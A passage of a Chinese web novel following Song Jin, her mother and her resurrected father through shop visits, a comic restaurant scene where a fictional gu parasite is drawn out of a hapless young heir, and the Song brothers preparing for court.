从小到大听过无数次的宋锦嘴角一抽,瞥了这些当老大的一眼,把小花放了下来,轻啧一声:“一人做事一人当,懂吗?” 小花扭扭捏捏,还是乖乖道歉:“姑娘我错了,你别骂胜哥” 宋锦伸出拇指弹弹她的脑袋,勾唇:“知道错就好,小姑娘家家太蛮可不好” 小花点扭捏点头:’“我知道了” 这下轮到宁宁得意了,她拍拍胸口奶声奶气:“宁宁乖乖哒” 宋锦忍不住笑了起来,揉揉她的脑袋 两个小崽子年岁相近,性子也都南辕北辙,但是还都挺讨喜的 …… 宋锦把两个小丫头留了下来,一手抓着一个,转过来,喜滋滋拎给她娘看 “娘你看,两个小娃娃,你喜欢男娃还是女娃?以后我给你生” 牛铁兰:“……生你娘的生,给我好好说话” 看着这一大几小,她心里有些郁闷 不是,这丫头来都城这么段时间,一个正经朋友不认识,感情是跑来当孩子王了是吧? 牛铁兰一言难尽:“把人放下来,别拎坏了” 宋锦挑着眉头,拎着两人晃了晃,得意:“哪有那么脆了,不会坏的,你看看” 小花宁宁:…… 两个人就跟布娃娃似的,在半空摇晃 牛铁兰眼皮跳了跳,呵道:“宋锦!” “切” 宋锦不情不愿地把人放下来,手搭在她们的肩膀上 两个小崽子四岁,往日日子也说不得多好,个子小小的,脸上带着些婴儿肥,像是刚出生没多久,摇摇晃晃的小林熊 宋锦个子高,站在两人身边就跟树一样 十五岁的她,已经长成大人模样,看不出普通小姑娘的稚气,更不会有小时候的模样 曲茂泽静静站在一边,想象着她小小一只的模样,定然也十分可爱 不过依据她的性子,面对这种情况,她应该不会和小花宁宁一般老实听话 若是小号宋锦的话,这会儿她已经拿起了小木棍,叉着腰,呲着牙凶巴巴地指着人,一言不合就开打 那场面,想想都生动极了 可惜,他永远没有机会见到了 想着,曲茂泽心中遗憾增生,再看着张扬的宋锦,伸手就想摸摸她的脑袋 手刚伸出来,宋锦和牛铁兰齐齐看了过来,目光带着厉色 你想摸谁? 别说 母女俩虽然对曲茂泽这个突然死而复生的人心有芥蒂,并且保持怀疑警惕 但是 当着她们的面就敢摸别的孩子,他当她们是死的吗? 曲茂泽手一顿,眼中笑意一闪,径直伸向宋锦脑袋,轻轻抚了抚 她个子高挑,骨架也比一般人结实,但是脑袋小小的,他一只手就能覆盖 圆圆的,轻轻一敲 “啪” 宋锦一巴掌拍开人,恼怒地瞪着他:“想死是吧?” 曲茂泽手瞬间红了一片,他轻轻一笑:“金金手可真有劲” 宋锦仿若一巴掌拍毛虫上,恶心又还有些痒,她抬着手就想又一巴掌 牛铁兰看着曲茂泽红了的右手,想到上面的刀痕,抿了抿嘴,叫住人 “够了,别闹,这边没什么问题,去下一个店” 铺子虽然是她们买的,但还是要店长来弄大概,她们只是负责收租,并且尽力提供一些方向,让租赁户生意好,她们也收得多 酒铺的生意好在牛铁兰预料之内,就是没想到会这么快 也算开门红了 牛铁兰瞥完宋锦,又看向曲茂泽,警告他老实点,别真把人惹急 眼了 自己闺女自己了解,忍到现在已经很难得了 曲茂泽果断后退一步,不再撩拨人,‘听话’得不得了 牛铁兰满意两分,本想转身就走,再看向宋锦旁边的小花宁宁,又犹豫了一下,问道:“这姐妹俩你又是哪里认识的?” 宋锦低头瞅着两人:“她们不是姐妹俩,这个黑的是上杨村的,就是那边的育婴堂,娘你还记得不?就是那个黑店” 黑黑的小花鼓嘴:“不是黑店,明码标价!” 宋锦呵呵:“也叫趁火打劫” 小花没文化,说不过她,气鼓鼓揪着小揪揪 宁宁揪她,也气呼呼:“不许揪我” 小花:“没揪你,我揪的头发” 宁宁拧着眉,皱着脸:“好,好像也是,行吧,你揪” 宋锦嘴角一抽 这两个人真是一个精一个傻,也不知道她娘怎么看出是姐妹俩的 不对,仔细看的话,确实还有点像。但是小娃娃嘛,都是大眼小脸婴儿肥,有点相似还挺正常 宋锦戳着宁宁的酒窝,指着小花问道:“娘你看她,是不是有点像杨家那个缺心眼的” 牛铁兰:“……别骂人,确实有点像” 宋锦:“是吧?仔细看,这个也有点像,姓杨的这么大众脸?” 牛铁兰无语:“你够了,还走不走?把人放回去忙去,不然你也留在这帮忙?” 宋锦一秒放开两个崽子,把人往里面一推,扔出一两银子递到宁宁手里:“说好的请你们,不过没时间,喏,中午的饭钱,给你福哥去,你们自己点菜去” 宁宁小手攥紧银子,奶呼呼:“谢谢姐姐” 而旁边小花眼睛溜溜转动,一看就打着歪主意 宋锦勾了勾唇,没管她俩 宁宁作为从小在外面讨生活的小乞儿,怎么可能真的傻乎乎好骗?真要是这样,福哥他们可不敢让她单独出去卖东西 小花这个育婴堂里不缺吃喝的小鬼头,小事不说,大事上还真糊弄不过她 宋锦看着两个小奶包靠着脑袋离开,带这些感叹道:“娘,我俩走起来就是大号的她们哎” “……” 牛铁兰已经懒得理她了,她扭头就走,走了没两步停下步子,转头:“愣着干什么?带路啊” 她来这边也就一两次,可没那么好的记性记住路 宋锦就不一样了,她别的不说,记路,只要走过一次,绝对不会走错的,就是没走过,她也能算着找 就像她之前就凭借周围人只言片语,就找到岐王府一般 宋锦骄傲了起来,抱着手大摇大摆得意洋洋地走前面带路了 曲茂泽跟在后面,回收看了眼一旁的小花宁宁两人,若有所思 上杨村吗? ‘还不走?怎么,想领回去养养?’ 他看着看着,耳边传来凉凉的声音 曲茂泽回头,看向那双手抱在脑后,大摇大摆走在前面的宋锦,勾了勾唇 ‘金金真棒,这么快就学会了?’ 前几次的时候,她明显是还没学会传音的。就像一个抱着金块的顽童,不知道能用金子买一切只会抡起就砸 轻功一般、剑术一般、传音也没学、控人也不会 又懒散又鲁莽 曲茂泽眼神柔和:‘爹有你就够了,哪儿需要其他孩子?’ 宋锦的传音消失,好一会儿咬牙切齿:‘别来恶心我,我问你,你是不是欺负我娘了?她眼睛都是红的’ 她一早就发现了,只不过没腾出时间,主要还是忘了传音这件事 刚学的还不熟练 曲茂泽听到这,低低一笑,传音中都能感受到他的春风得意 ‘乖,大人的事小孩子不听’ 啊啊啊,她真的不能弄死这人吗? 宋锦被恶心到了,果断断了传音 若不是,若不是她娘治病在即,她才不会让这人这么轻易靠近呢 可恶 …… 他们沿着几家店铺走去,弄得最好也是酒楼,红红火火,可想今年的租子肯定不错 其他是要么修整要么招人,距离正式弄好还有一段时间的距离,不过根据周围人流来看,问题应该不大 他们最后一站是武馆对面的铁铺,铺子的老板是王老二 也就是宋锦在林溪镇时候,帮他们管理茶园,后面一起跟过来的王老二 就连店员,也是他们的小厮阿茂和小多 宋家别的不多就是小厮侍卫多,因此两个人到了宋家以后,一直没什么事干。他们腿瘸,一个脑袋不太好,很多事也不太方便 倒不如出来外面,守个店子 这铁器生意,还是交给自家人放心些,尤其是阿多有一身好力气,在镇上的时候就经常去铁匠铺帮忙 之前引得杨彦珺挤眉弄眼的大块头就是小多,他小时候摔了脑袋,脑袋就不太灵光,反应比一般人慢很多 不过肉眼看的话,还是看不太出来 他赤着上身,站在火炉子旁边,拎着大锤哐哐铸着砍刀,那火星四散,他身上汗水跟着淌下,在黝黑大块的肌肉肉上 宋锦吹了个口哨:“小多,不错啊” 小多听不懂背后的调侃,他放下锤子,擦了擦汗:“小小姐来了?” 他一直叫牛铁兰小姐,怎么也不改口,于是宋锦就只能是小小姐了 这小傻子,倔的时候就跟牛似的 宋锦走过去里面看他 “你怎么在这儿?” 牛铁兰看向那边柜子底下 小耳撅着屁股趴在那里找着掉落的铜钱,一番摸索,她翻出一个大大的大钱 “哎,夫人小姐来啦?你们看” 她顶着一脑袋灰爬了出来,兴奋地看着手上钱币,这是一钱的铜币值一百文呢 “也不知道是谁落下的,现在是我的了,我去给你们买糖葫芦,我请客” 说着,她就兴冲冲跑出去了 一会儿风一会儿雨,女官再是训练,到底压不下性子 不过这样就挺好的,小眉小耳也是她看着长大的,自然和普通丫鬟不一样 牛铁兰抬头看着那边又打起铁,看起来老老实实、实则耳朵都心虚得耷起来的阿茂,轻轻笑了笑 等哪日她们想出去了,她也会为她们添下一份家底 想到这些,牛铁兰嘴角微扬,侧过眸,就看到也钻柜子里找钱的宋锦,嘴角一抽 这破孩子不会真觉得是瞎捡钱的吧? 牛铁兰深深叹气,不去看这时傻时精的闺女,问:“小多,阿茂呢” 此话一出,她心道不好,果然,她一转头就对上曲茂泽戏谑的眼神 他拉长声音:“阿茂?” 牛铁兰恼:“那死丫头取的” 什么耳朵眉毛,她一开始没反应过来,等定下了,再改又显得奇怪 若早知道这人还活得好好的,她说什么也不要这个名 曲茂泽眼中含笑,意味深长:“你说是就是吧” 牛铁兰:“爱是不是” 小多已经停下打铁,好奇地看着牛铁兰和曲茂泽斗嘴,慢吞吞道:“阿茂和小眉去进货了” 作为新开业的铁铺,他们没有库存,手艺也还没那么高深,还是要依靠外援 小多只适合打铁干重活,其他的就交给阿茂来 阿茂他脚有些跛,但是脑子好使,在乡下时候管理家里上百亩地的佃农都井井有条,一个小铁铺更是不在话下 就是 “小眉也出来了?怎么不和我们一起来?多省事啊” 宋锦从空空的柜子下钻了出来,趴在椅子上,抓着脑袋上的蛛网,有些不解 牛铁兰没眼看,继续问小多:“这两天铺子有生意吗?旁边的小铺子怎么没人?” 她指着那单独隔出来的小间,适合卖些烧饼小东西,现在空荡荡的 小多慢吞吞说道:“租出去了,没来” 这个宋锦知道,她幸灾乐祸的上着眼药:“娘你知道是谁租的吗?又是杨家那个缺心眼的,她 说这边有个俊俏道士很出名,很有意思” 牛铁兰神色微凉:“是吗?” 宋锦继续上眼药,摇着脑袋,装模作样:“上次是俊俏画师,现在又是俊道士,啧啧,娘你说她,女孩子这样不好,不好” 她可是记恨这人之前和她抢娘的 上眼药,必须使劲上,还要一箭双雕,两个一起上 宋锦给了曲茂泽一个挑衅的眼神 呵,招蜂引蝶、不守夫道的狗男人 曲茂泽笑容僵住 杨家小姑娘这是和离和疯了,还是…… 他想到之前的两个孩子,眼中闪过思索,很快又回到眼前,他看着虎视眈眈的母女俩,轻笑 “想来,那画师道士,容貌定然如同夫人金金一般出色,才能如你们一般受欢迎,这可真是不是一家人不进一家” 门口一阵鬼哭狼嚎的叫声传了过来,盖住他的话 “茅泽道长,道长是你吗道长?你这段时间去哪里了,我还以为你出事了,你要是出事了,我该怎么般啊” 下一秒,整日无所事事在外面乱窜的小纨绔,金玉阁小公子戴元华激动跑了过来,踉踉跄跄一把跪在他的脚下,抱住他的腿,嚎道 “道长,师傅,道长师父,你不能不要我啊,没有你我可怎么办。师傅在上,请受徒儿一拜……” 曲茂泽笑容僵住 牛铁兰眼眸微凉,轻言细语:“若说起受欢迎,我们母女二人哪能和茅泽道长相提并论啊” 先是五百两就为博他一比,现又磕头跪地 牛铁兰微微一笑:“茅泽道长,魅力非凡” 曲茂泽:…… 他这就杀了这小子 第80章 二愣子 “哦~” “所以你对他是一见钟情了咯?” “哎对对对,对对对,就是一见钟情,我啊,见到茂泽道长第一眼,我那心儿呐,就砰砰乱跳,他一定是我命定的师傅。我小的时候,我就想学武,但是我娘说了,缘分还不到,让我大了看……” 作为金玉阁的小公子,戴元华大手一挥,就直接包下了酒楼,带着人来到了上等包间 开始了无止尽的狗嚎 包厢里,曲茂泽和戴元华对面而坐,面无表情地看着他 左边的宋锦埋着脑袋憋笑,眼中全是幸灾乐祸,右边的牛铁兰捏着茶杯静静喝茶,看似温柔似水,但眼神凉凉的,似笑非笑 再看对面还在狗嚎的人 曲茂泽一言不发,轻轻喝了口茶水 “啊” 戴元华座下的凳子突然散架,他一声惨叫,一骨碌摔在地上,呲牙咧嘴,懵着脸站了起来,盯着散架的椅子 宋锦看看这个倒霉蛋,再看看那边从遇到人就没笑出来过的曲茂泽,就更乐了 果然还是一物降一物,这人以往对着她们母女俩这么厚脸皮的,面对戴元华这种二愣子也得气死 宋锦憋笑:“你是不是长胖了?” 戴元华看看自己,看看椅子,还是懵:“是,是吗?” 他长胖了也不至于吧? “坏了就坏了,换个凳子坐吧” 曲茂泽的声音淡淡传来 戴元华立马又笑了起来乐呵乐呵拉着椅子就想往上挪 曲茂泽眼神凉凉看来:“男女授受不亲,没学过?” 戴元华挠挠头发,看看左边的牛铁兰,再看看右边,小心提议:“不如郡主和夫人坐一边,我和道长坐一边” 现在四个人呈对面坐,四四方方,隔开甚远 曲茂泽眼神更冷了:“下次别提议了,坐好” 戴元华打了个哆嗦,小动物一般的直觉亮起,赶紧推开地上烂椅子,重新坐了回去,老老实实宛如学堂一般,直直坐好,声音洪亮 “是,道长” 宋锦最终没忍不住,冲他比了个大拇指,就趴在那里就咯咯笑了起来 戴元华完全不明白怎么回事,挠挠脑袋,小心翼翼:“郡主这是?” 没人理他 现在包厢里四个人 宋锦就不说了,笑得没法说话 牛铁兰则是看谁都烦,谁都不想理 剩下一个曲茂泽,看着戴元华这个二愣子就更嫌弃了 他凉凉:“郡主的事,是你能过问的?注意你的身份” 戴元华又直了身子,声音中气十足:“知道了,道长师父” 曲茂泽手又有些痒了,看着他底下的椅子,微微眯起了眼 宋锦擦着笑出来是眼泪花,侧过脑袋:“喂,椅子可是要钱的” 曲茂泽动作一顿,再看着宋锦乐开花的样子,有些无奈,又有些好笑,他微微叹气,掏出手绢给她 “擦擦,小心笑岔气了” 宋锦趴在桌子上,伸出长手接过那块手绢一擦,鼻子嗅了嗅,一下子就直了起来,警惕 “哪儿来的香味?” 曲茂泽嘴角一勾:“你娘的手绢,上次接借一下忘了还” 宋锦哦了一下,正想又趴了回去 “噔” 茶杯重重放在桌子上的声音传来 宋锦一下子就坐直了身子,攥着手绢擦了擦眼,姿态端庄有度 曲茂泽脸上也噙起了笑,轻语:“夫人怎么了?” 牛铁兰带着恼意地瞪了过来 上次拿的?还能是哪个上次? 这人也忒不要脸了些 但是这段时间接触下来,她也看出来了,自己越是恼怒,这人越得劲 想到这,牛铁兰压下那股恼,瞥了他一眼,把杯子递了过去,言简意赅 “添茶” 曲茂泽轻轻一笑,伸手接过杯子,按住她纤嫩的指尖,意味深长:“给夫人添茶,是我的荣幸” 牛铁兰抽回手,还是没忍住瞪了瞪人,咬牙:“你别太过分” 曲茂泽挑眉:“我和自己的夫人,哪儿过分了?” 现场唯一的外人,戴元华已经瞪大了眼,看看这个,看看那个,再看看,一把按住自己的一团浆糊的脑袋,余光看向包间门口 思索着一会儿怎么跑 这,这都什么事啊 他就是个普普通通的商户子,这种侯爵之家的隐私只能让他知道的吗? 这,这宋首辅的妻女,和茅泽道长 就是啊,他们孤男孤女单独出来…… 他这个猪脑子,为什么看到人一起了还要凑上来,还要把人邀一起,还要包场到一个包厢,这不是自投罗网嘛 戴元华越想越怕,越想腿都忍不住发软 完了完了,不会真的被杀人灭口了吧? 戴元华嚎不出来了,更笑不出来,手按住开始发抖的腿,抬起脑袋,哆哆嗦嗦:“那,那个,我我突然发,发现,我家里好像还,还有事,我就就先回去了” 说完,他就看到三个人都看了过来 这不看还好,再一看,宋锦这位据说是宋首辅的女儿,看起来和茅泽道长还真有几分相似,尤其是那双眼睛 宋锦似笑非笑,手上不知什么时候晃起了刀子,那刀刃锋利,寒光闪闪 戴元华眼睛瞬间瞪大,哆哆嗦嗦,一个惊嗝,直愣愣就晕了过去,那力带着椅子哐当一下摔在地 他四仰八叉倒下,舌头微吐,肚子鼓起,看起来像极翻白的青蛙 假得一批 宋锦挑着眉毛,走到他跟前,不轻不重地踢了踢人,蹲下身,拿着小刀贴在他脖子上,似笑非笑 “晕过去了也好,免得受疼” 戴元华还是一动不动 装得不错啊 宋锦在心里哎嘿一声,手上力道一重,刀背压了进去 戴元华依旧不动,整个人真就晕过去了一样,但是这心跳这呼吸 宋锦歪脑袋 “别试了,人晕过去了” 牛铁兰缓缓走了过来,瞥着这个和宋锦差不多年纪的小纨绔,也蹲下了身,朝着他的脖子伸手 在中间就被拦住 曲茂泽按住她的手,轻轻一笑:“我来吧” 说着,他轻轻伸手,重重用力直接给人翻了过去,按着他的脖子,从宋锦手中拿过匕首一划 黑色的血液像是加了胶一般渗出,一滴一滴,黑色圆球一般滚落,不过三滴,伤口又一点点凝起 宋锦瞪大眼睛,看看曲茂 泽,又看看她娘:“娘你什么时候这么厉害了?” 都能分辨人是真晕假晕了 牛铁兰凝重的神情散去,没好气地敲敲她脑袋,轻哼:“我以前不厉害了?” 宋锦:“厉害厉害,但是这个你怎么看出来的?” 牛铁兰轻轻点了点心口:“能感觉到” 宋锦兴奋激动淡去,忧虑:“有没有不舒服?” 牛铁兰安抚地握着她的手,摇摇头表示没事,再看向捻起着黑血珠的曲茂泽,抿嘴:“这是什么蛊?” 曲茂泽拈了拈血珠子,在戴元华的衣服上擦着,轻笑:“一点小玩意儿,没什么用,只能偶尔让人晕倒疯癫一会儿” 母女俩:…… 这还没什么用啊 “确实没什么用,但凡有点内力,懂些药物,这玩意儿就会自己跑走,也就这种废物” 曲茂泽本来是笑着说的,说到这顿了一下,改口又道,“身子骨弱一些的就容易中招,多用来迷惑人” 牛铁兰蹙眉:“所以他跟着你?” 曲茂泽嫌弃:“应该是这个原因” 他第一次碰到这人戴元华的时候,就是他身上毒蛊影响马发疯,他当时心情好就随手一救,帮他处理了一下另一个蛊 没管这个小玩意儿 若是早知道戴元华是这种二愣子,还是让这死小子去死的好 曲茂泽似笑非笑,然后从宋锦脑袋上摘了根细簪子,看着轻巧,实则非常粗鲁地往他脖子上狠狠一扎 随着唧的一声,黑血再次渗出,依旧是缓慢的宛如胶水一般的速度,先是深黑色,再是黑红色,到最后成了普通的血液 宋锦看得迷迷糊糊,看看这个又看看那个,懵:“你们怎么都懂?” 这不对吧? 牛铁兰没说话,只是看着戴元华身上的血洞,若有所思 曲茂泽则是微微一笑,取出簪子 宋锦立马:“不要了,别给我” 曲茂泽用戴元华的衣服擦了擦,轻笑:“这么脏,肯定不会给你的,一会儿让他报。金玉阁的小公子,定然不会缺这点钱” 宋锦放下心来,不过一瞬,又有了新的问题,她瞪大双眼:“你既然会弄这些,我娘身上的蛊” 曲茂泽笑容淡去几分,叹气:“红线蛊和这些小玩意儿可不一样,若真这么好察觉,也不会是十蛊之一了” “那其他的蛊呢?”牛铁兰指尖沾着黑血,神色怅然:“这个,我以前见过” 只不过她们那会儿,把这叫毒女园所有人身上都有这个,她们需要定期吃药 这要是控制手段 她当时出逃的时候,便是带着配方走的,一直有服用,直到后面生孩子忘了,发现没事,她还以为是生了孩子就没事了 曲茂泽拉过她的手,拿起手帕给她小心仔细地擦着,眼神柔和,轻轻一笑:“是有一些,但是问题不大,蛊虫神奇,但其实大部分也就是普通虫子,解决起来不难” 言下之意,早在最开始的时候,他就知道她身份有异 不过若是连这点都不知道,他的坟头草都长成树了 牛铁兰怔怔:“那你为何” 曲茂泽扬着唇,含笑反问:“为何什么?” 牛铁兰咬唇 曲茂泽促狭一笑,意味深长:“等为夫日后单独和你说” 牛铁兰忍不住伸手掐住他的手,恼怒瞪他 曲茂泽反手一抓:“闺女还在,这样不好吧” 牛铁兰恼:“你能不能好好说话?” 看了半天打情骂俏的宋锦非常赞同地点着脑袋,一巴掌拍他手上:“就是就是,说话就说话,别动手动脚” 曲茂泽收回手,无奈一笑:“好了,不闹了,让他们上菜吧,再不吃饭该饿了” 宋锦看着还倒在地上的人,她轻轻一踢:“那这人呢?” 曲茂泽一个多余的眼神都不想给戴元华,无所谓道:“死不了,等我们吃完也差不多了” 这样的话 宋锦彻底没意见了,拉着她老娘乐滋滋回到位置上,这回母女俩就坐在一起了 过了没一会儿,外面响起老板的声音:“大人,上菜了” 曲茂泽:“进来吧” 几个小二恭敬地端着饭盘子进来,然后就见到屋内的场面,一个个僵住 曲茂泽淡定:“他没事,你们上菜” 小二们面面相觑,咽了咽口水,大气都不敢出一个,小心谨慎地过来上菜 直到桌上摆满 老板颤着声音:“大人,菜,菜上完了,还,还需要什么吗?” 曲茂泽:“无事,出去吧” 老板松了口气,一群人出去是脚步都快了不少 房门关上,外面老板着急又压低的声音传来 “快去找大少爷” 宋锦挑了挑眉,看着那边依旧淡定的曲茂泽,再看看同样无所谓的亲娘,撇了撇嘴,也没多话 这趟出门她也看出来了,她娘现在是深藏不露,完全不需要她多担心咧 她便心安理得地吃了起来 还别说,这酒楼说不得多大,但是味道确实不错,而且生意也不错 戴元华之前能手一挥就包场,再听老板的话,应该是他自家店面了 不过效率有些低,一家三口慢悠慢悠都快吃完了,人还没有来 宋锦喝口茶压压味道,拍拍桌子:“小二,给我打包” 曲茂泽牛铁兰:…… 宋锦理直气壮:“这么多放这多浪费啊,不如拿回去给那些小崽子吃,热一热能吃两顿咧” 两人无话可说 外面的小二颤颤巍巍拿着食盒管子进来,小心翼翼地收着东西 宋锦扔了个大钱过去,打着哈欠:“送去醉归阁” 小二立马喜笑颜开,越发利落地收了起来,没一会儿就收拾分类得干干净净 一番操作下来,外面还是没动静 宋锦看了看两人 牛铁兰没有说话,垂着眸不知道想些什么 曲茂泽倒是轻轻一笑:“回去跟你们老板说,明日送一万两治疗费到宋府” 宋锦和牛铁兰睁大眼睛 什么一万两?就那么躺着的那个?这年头抢钱都这么明目张胆吗? 她们俩都这样,店小二就更别说了,目瞪口呆怀疑自己听错了 曲茂泽:“需要我再说一遍?” 店小二一个哆嗦,立马摇头,应着:“知道了大人,小的记住了,一定传达到位” 曲茂泽转头看向牛铁兰,神色肉眼可见柔和下来,轻声:“夫人才就了医,不如回去歇歇?有什么以后再说” 牛铁兰抿了抿嘴:“你一会儿干什么?” 曲茂泽轻笑:“我还要去清马场的册子,夫人可要去?” 说起马场,她就想起了那日马棚之事,嗔怒地瞪着这没脸没皮的人,起身就走 宋锦冲着曲茂泽比了个中指,也跟着她娘跑了出去 母女俩急急匆匆出去,正是饭店的时候,酒楼没有多的客人,空空荡荡 她们一下来,小二们立马惊慌散开,假装忙碌,眼神时不时瞄过来,没人敢凑过来 就包厢里那么一闹,还不知道传成什么样了 宋锦嘴角一抽,在心里骂了一句心机男,挽着她娘离开酒楼 出楼没几步,一辆马车快速驾了过来,停在酒楼门口 马车还未停稳,里面的人便匆匆忙忙跳了下来 那是一个极为美丽的女子,一袭绿衣 ,金钗玉饰,便是看着有些年纪了,依旧娇艳华贵,宛如清荷 她急匆匆跳下车,一个不稳,差点摔倒,好在车内的人也跟着跳了下来,赶紧把人扶住 男人看着二十来岁,蓝衣玉冠,和戴元华有两分相似,但是看起来普通许多,只能说一句端正 他低低一声:“娘,慢点,小弟肯定没事,你别急” 女人嗯了一声,还是急急忙忙往里面走去 很明显,戴家人赶过来了 宋锦皱着眉头,低头小声询问:“娘,要去吗?” 牛铁兰静静看着那人背影,眼中隐有怅然,她摇摇头 “回去吧,明日,自会上门的” 宋锦点了点头敛着眼皮,藏住其中的戾意 女园是吧 她觉得男圈更好听【你现在阅读的是 】 80-90 第81章 鬼啊 “噔——噔噔噔噔” “鸣鸡驴叫,早起上值,注意防寒” …… 夜色中,更夫一如既往地绕着永安城吆喝 随着夏日渐去,每日的日出时间也渐渐晚了起来,就连温度也一日日落了下去 昨夜一场秋雨骤降,也带来了凉寒的深秋 “阿切,今个天冷下来了,爷里面多穿一件衣服” 烛光晃动的房间内,小厮搓着胳膊哈着气,很是细心地说着,“我看着着冷,就吩咐后厨煮了姜汤,爷和大少爷三少爷喝一杯再走” 宋顺之也有逞能,他身体虽好,但是风寒可不看那么多,不注意点,少不了这流鼻涕打喷嚏 平日无事,上朝这样 便是陛下大度不介意这点失仪,他们整日吸着鼻子的,也多少有些不得体 宋顺之穿好衣服:“今年冷得是不是早了些?” 小厮揉着鼻子:“比往年早了半月,而且冷了很多,大家都还没换被子,今夜应该没少受冻” 宋顺之蹙眉:“夫人和小妹那儿” 小厮:“小的刚才碰上小眉了,说刚下雨大少爷就派人去提醒了,没冻着,爷就放心吧” 昨夜裹着被子睡的宋顺之:…… 老大这男女眷区别对待明显啊 宋顺之:“……姜汤记得吩咐过去,提醒后厨多煮点,多放些糖,你们也多喝些小心生病” 小厮笑:“得咧,小的谢公子体贴” 宋顺之:“少来这套,出去吧,我去看看老三,再对对口风” 小厮:“三公子肯定没事的,别别着急,路上湿滑,多看着路” …… 拖了多日的刺客之事,总算有了眉目,但是拷问结果究竟如何,谁也不清楚,只能探出刺客畏罪自杀了几个 结果如何,如何判断,就全看皇帝齐晔了 而这事事关宋慎之,甚至整个宋家的发展 作为大哥二哥的宋行之和宋顺之自然放心不下,两个人非常有默契地来到了宋慎之的院子 在家里最后面最偏的院子 倒不是因为他常年不在家,也不是因为兄弟五个他最没地位,单纯就是 他太吵了 宋商不喜什么文弱书生,便是武不出什么,也得有一个健康的身体,所以兄弟五个从小都有专门的师父教着锻炼习武 不过他的要求并不高,除了最基础的训练之外,多余的就看个人 这些年下来,家里一直坚持下去的也只有宋慎之,他每日会提前半时辰起来,然后练武 今日倒是奇怪,兄弟两过来的时候院里静悄悄的 他没有练武 宋行之和宋顺之有些欣慰 心想,好歹不是只知道打打杀杀了 今天这关键时刻,就是得好好蓄精养神 怀着这般心思,兄弟俩乍一进院,就见那边树下站着一黑影,那枝叶摇晃,黑影重重 那人一身红衣、披头散发、面容扭曲、眼冒红光 宋行之被吓得一个后跳,嚎了一声鬼啊 宋慎之虽然也被吓了一跳,但是胆子没他这么小,细细一看,他紧紧皱眉:“老三?你干什么呢?” 宋慎之站在树下,仰着脑袋,周围凉风吹来,书上的冰凉的雨滴落下砸在脸上,冰嗖嗖的,他却觉得很舒服 他道:“好热,我吹吹” 冷得里面穿了厚衣服的兄弟俩:? 这个天,热?他怕不是火炉化身啊 宋行之被吓了一跳,没好气道:“热个屁,我看你是忧虑一会儿的朝会,别不好意思,有什么就跟哥哥们说” 说着,他走了过去,路上湿润他走得小心,也没仔细看,等到了一抬头 “鬼啊” 他又是一个嚎叫,可惜这次没有宋顺之拉着,他一个脚滑直接摔在地上,瞬间呲牙咧嘴 再一抬头,宋慎之已经来到了跟前,他披着头发,也不知道在这里站了多久,头发湿漉漉一摞一摞 那一张脸又红又肿,上面长满了疙瘩,一双眼便是昏暗下也看得出通红…… 像是从墓里面爬出来的僵尸 宋行之连滚带爬:“老二老二,救命,老三尸变了” 宋顺之嘴角一抽,看着那边一个披头散发,一个连滚带爬,脑袋都大了 他深深叹气,跟着走了过去,仔细再看,更有些惨不忍睹:“老三,你这是?” 宋慎之没什么反应,他继续仰着脑袋,看着昏黑的天色,一滴雨珠落在眼中,顺着眼角滑下,他眨了眨眼睛 “不知道,有些烫,可能是被毛虫爬了” 宋顺之嘴角一抽:“这个点哪里还有毛虫啊” 宋慎之顶着那张浮肿的脸:“那你说说怎么回事?” 宋顺之瞅了再瞅,想不太明白,但是也不排除是虫子甚至是老鼠弄的,这些个玩意儿毒得很,就是这个季节已经少很多了 还这么严重,又在这关键时候,运气也太差了点 宋顺之愁:“你这模样,后面怎么上朝啊” 宋慎之摸了摸脸,一阵火辣辣刺挠的疼,但是他的内心,却是这段时间以来最为平静的 他无所谓道:“就这么去,反正我又看不到” 宋顺之头疼,但还是道:“趁着有时间,还是先找大夫看看,别后面一脸疤,那真找不到媳妇儿了” 宋慎之:“不影响,就这样吧” 听到这,宋行之脸色微微一变,眼中闪过惊疑,他忍不住再仔细地打量起了宋慎之 脸起疙瘩,眼白变红,脖子粗大,耳朵外扩…… 看着看着,宋慎之突然对他咧嘴一笑,转瞬即逝,他转身回屋:“我要好好收拾一下,你们回去吧,一会儿门口见” 宋行之见状,瞬间了然,他没好气地低咒一声 “这小子” …… 因为宋慎之这么一耽搁,他们还是按照以往的时间出现在后门处 兄弟三都是一起上朝的,一个个年轻俊逸,各有风采,再配上鲜亮的官服,往日那叫一个鲜衣怒马 今日 “哟” 大老远就看到宋慎之那一脸奇景,本打算藏着吓他们一跳的宋锦从马车顶上一跃而下 依旧被吓到的宋行之后退两步 宋顺之宋慎之赶紧把人拉住,可不能再摔了,就两套官服,再摔就没得穿了 他们稳住身形,看向夜色中一团黑的宋锦,一瞬就想明白她的意图 好幼稚 连着被三吓的宋行之咬着牙:“你大早上不睡觉干什么呢?” 宋锦一脸无辜:“看你笑话呢” 宋行之气急败坏:“行行行,看笑话,你就看吧你,等你娘下次收拾你的时候我也跑你院子里看” 宋锦挑起眉头,一副无所谓模样道:“我又不拦着你” 看笑话这种玩意儿,得看当事人的态度,就宋锦这般没脸没皮的样子 宋行之气,但是拿她一点办法都没有 眼看着宋行之这个巧舌如簧的人都瞬间败下,宋顺之在一边摇头 都说秀才遇到兵,有理说不清,这句话真的有道理 而宋慎之,往常这人对于宋锦可是热情了,今日倒是格外的冷静,甚至还往后退了两步 很奇怪 但是看着他那张依旧没法见人的脸,仔细想想又不那么奇怪了 宋顺之还特意体贴地往前一步,想帮着挡一挡。但是作为家里最高的人,宋慎之体型实在明显,宋锦一早就看到了 她上前一步,伸手想捏捏:“你这是怎么了?吃什么过敏了?” 宋慎之后退两步,想扯个笑容出来,但是根本扯不出。他的脸现在是不痒不疼了,但又变得麻木,没有半点知觉 可真狠啊 宋慎之轻触嘴角,看着面前眨着眼睛好奇的宋锦,他再后退两步,言简意赅:“别碰,小心传染” 宋锦立马后退,她可不想自己脸上也长这些丑死的疙瘩 至于宋顺之和宋行之兄弟俩,已经无话可说了 反正他们被传染就无事吧? 两个人立马就也想后退两步,宋慎之一手抓起一个,让他们挡在自己面前隔开宋锦 他道:“我们去还要商议一下上朝的事,就先走了,今日降温,你个夫人注意防寒,让管事散炭,点起火炉子” “我一会儿问问我娘,我反正不冷,对了,这个” 宋锦说着,从身后掏出一个食盒,对着兄弟三个晃一圈,放到了宋顺之身前:“这个给你” 宋顺之一怔,嘴角人忍不住扬起来了 “替我给岐王哈,别让他,还有他”宋锦继续说着,特意指了指宋行之宋慎之,强调,“不能让他们碰,我不信他们” 兄弟俩:…… 真是被伤一回又一回 有对比才有高兴,宋慎之又挽回了一局, 心塞淡去,多了些欣慰 看看,兄弟几个中,小妹最信任的还是他 